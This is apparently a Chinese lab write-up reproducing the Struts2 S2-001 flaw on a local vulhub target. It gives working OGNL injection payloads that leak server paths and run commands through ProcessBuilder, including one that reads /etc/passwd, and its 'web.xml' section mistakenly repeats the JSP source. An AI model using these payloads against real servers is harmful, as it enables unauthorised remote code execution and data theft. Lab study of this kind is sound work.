玩vulhub靶机第二篇（Struts2-001）

前言：

最近开始对vulhub的靶机进行漏洞复现学习，开始对Struts2系列的漏洞进行复现分析。

一开始了，想着先对漏洞进行复现利用，然后在对源码进行下断跟踪分析，但是通过两天的努力和在网上观看此类文章，都没达到效果，可能是java代码的不熟练，所以源码分析那面始终没有什么突破。

漏洞信息：

漏洞信息页面： https://cwiki.apache.org/confluence/display/WW/S2-001

漏洞成因官方概述：Remote code exploit on form validation error

漏洞影响：

WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

环境搭建：

靶机环境

系统版本：Ubuntu20.04

ip：192.168.26.128

进入目录：/vulhub/struts2/s2-001

先自动化编辑环境：docker-compose build

启动漏洞环境：docker-compose up -d

打开浏览器访问：http://ip:8080/

源码结构：

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
	<s:textfield name="username" label="username" />
	<s:textfield name="password" label="password" />
	<s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

web.xml

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
    "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
	<package name="S2-001" extends="struts-default">
		<action name="login" class="com.demo.action.LoginAction">
			<result name="success">welcome.jsp</result>
			<result name="error">index.jsp</result>
		</action>
	</package>
</struts>

LoginAction.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public LoginAction() {
    }

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if (!this.username.isEmpty() && !this.password.isEmpty()) {
            return this.username.equalsIgnoreCase("admin") && this.password.equals("admin") ? "success" : "error";
        } else {
            return "error";
        }
    }
}

漏洞利用：

测试是否存在代码执行漏洞poc：%{1+3} //这里的算数写啥都行

返回4，说明的却有代码执行漏洞。

获取tomcat执行路径：

1	%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取Web路径：

%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}

执行命令

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

执行任意命令时，如果所执行的命令需要组合，则将上述 payload 改为：

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}